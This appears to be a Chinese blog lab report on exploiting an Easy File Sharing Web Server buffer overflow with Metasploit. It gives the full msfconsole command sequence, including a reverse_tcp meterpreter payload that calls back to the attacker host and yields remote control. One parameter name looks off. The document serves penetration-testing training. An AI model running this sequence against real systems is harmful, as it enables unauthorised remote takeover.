Easy File Sharing Web Server 漏洞利用(Metasploit)

一、实验环境
攻击机:Kali Linux
目标主机:Windows主机,内网IP:192.168.66.1
目标服务:Easy File Sharing Web Server,监听80端口

二、实验目的
使用Metasploit框架调用对应漏洞模块,完成Easy File Sharing Web Server漏洞渗透复现,熟悉msf的基础使用流程。

三、实验步骤

  1. 打开Easy File Sharing Web Server,点击Try it!进入软件,确认80端口服务正常,底部显示Web Server is online,浏览器访问http://192.168.66.1可正常打开登录页面,截图保存。

  2. 在Kali终端输入msfconsole启动Metasploit框架。

  3. 搜索漏洞模块:
    search EasyFileSharing

  4. 加载SEH溢出漏洞模块:
    use exploit/windows/http/easyfilesharing_seh

  5. 查看模块需要配置的参数:
    show options

  6. 设置靶机IP:
    set HOST 192.168.66.1

  7. 设置靶机服务端口:
    set RPORT 80

  8. 指定反弹shell载荷:
    set payload windows/meterpreter/reverse_tcp

  9. 设置Kali攻击机监听IP:
    set LHOST 192.168.66.128

  10. 执行漏洞攻击:
    exploit

四、实验现象与分析
Windows主机上Easy File Sharing Web Server服务正常运行,80端口监听开启。执行exploit之后,Metasploit成功发送漏洞利用代码,建立反向连接,成功获取meterpreter控制会话,实现对目标主机的控制。

五、实验小结
本次实验学会了Metasploit搜索漏洞模块、配置参数、选择载荷、执行漏洞利用的完整流程。Easy File Sharing Web Server存在缓冲区溢出漏洞,攻击者可以构造特殊请求触发漏洞,拿到服务器控制权。
渗透测试仅允许在授权的靶场环境进行,严禁对未授权主机进行攻击,遵守《网络安全法》。

QQ_1794315470685
QQ_1794315210530
20261201-223325 msf
msf2

posted @ 2026-11-10 21:15  whduidu  阅读(20)  评论(0)    收藏  举报